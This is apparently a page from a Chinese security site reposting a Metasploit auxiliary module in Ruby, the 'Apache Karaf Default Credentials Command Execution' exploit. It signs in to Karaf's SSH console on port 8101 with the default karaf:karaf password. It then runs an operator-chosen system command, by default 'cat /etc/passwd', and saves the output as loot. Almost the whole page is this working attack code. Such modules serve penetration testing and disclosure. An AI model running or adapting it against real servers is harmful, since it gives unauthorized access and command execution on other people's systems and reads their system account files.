首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apache Karaf Default Credentials Command Execution Exploit
来源:metasploit.com 作者:Starke 发布时间:2016-03-09  
##
# This module requires Metasploit: http://metasploit.com/download
##
  
require 'msf/core'
require 'net/ssh'
  
class Metasploit3 < Msf::Auxiliary
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  
  def initialize(info={})
    super(update_info(info,
      'Name'           => "Apache Karaf Default Credentials Command Execution",
      'Description'    => %q{
        This module exploits a default misconfiguration flaw on Apache Karaf versions 2.x-4.x.
        The 'karaf' user has a known default password, which can be used to login to the
        SSH service, and execute operating system commands from remote.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Nicholas Starke <nick@alephvoid.com>'
        ],
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['Apache Karaf', {}],
        ],
      'Privileged'     => true,
      'DisclosureDate' => "Feb 9 2016",
      'DefaultTarget'  => 0))
  
    register_options(
      [
        Opt::RPORT(8101),
        OptString.new('USERNAME', [true, 'Username', 'karaf']),
        OptString.new('PASSWORD', [true, 'Password', 'karaf']),
        OptString.new('CMD', [true, 'Command to Run', 'cat /etc/passwd'])
      ], self.class
    )
  
    register_advanced_options(
      [
        Opt::Proxies,
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end
  
  def rport
    datastore['RPORT']
  end
  
  def username
    datastore['USERNAME']
  end
  
  def password
    datastore['PASSWORD']
  end
  
  def cmd
    datastore['CMD']
  end
  
  def do_login(user, pass, ip)
    opts = {
      :auth_methods => ['password'],
      :msframework  => framework,
      :msfmodule    => self,
      :port         => rport,
      :disable_agent => true,
      :config => false,
      :password => pass,
      :record_auth_info => true,
      :proxies => datastore['Proxies']
    }
  
    opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
  
    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(ip, user, opts)
      end
    rescue OpenSSL::Cipher::CipherError => e
      print_error("#{ip}:#{rport} SSH - Unable to connect to this Apache Karaf (#{e.message})")
      return
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{ip}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{ip}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{ip}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception => e
      print_error "#{ip}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end
  
    if ssh
      print_good("#{ip}:#{rport}- Login Successful with '#{user}:#{pass}'")
    else
      print_error "#{ip}:#{rport} - Unknown error"
    end
    ssh
  end
  
  def run_host(ip)
    print_status("#{ip}:#{rport} - Attempt to login...")
    ssh = do_login(username, password, ip)
    if ssh
      output = ssh.exec!("shell:exec #{cmd}\n").to_s
      if output
        print_good("#{ip}:#{rport} - Command successfully executed.  Output: #{output}")
        store_loot("apache.karaf.command",
                "text/plain",
                ip,
                output)
        vprint_status("#{ip}:#{rport} - Loot stored at: apache.karaf.command")
      else
        print_error "#{ip}:#{rport} - Command failed to execute"
      end
    end
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·NETGEAR ProSafe Network Manage
·Exim 4.84-3 Local Root / Privi
·McAfee VirusScan Enterprise 8.
·Exim < 4.86.2 - Local Root Pri
·Microsoft Windows - AFD.SYS Pr
·libotr <= 4.1.0 - Memory Corru
·ATutor LMS install_modules.php
·Putty pscp <= 0.66 - Stack Buf
·ESET NOD32 Heap Overflow
·SAP Download Manager 2.1.142 W
·Freeproxy Internet Suite 4.10
·PHP Utility Belt Remote Code E
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved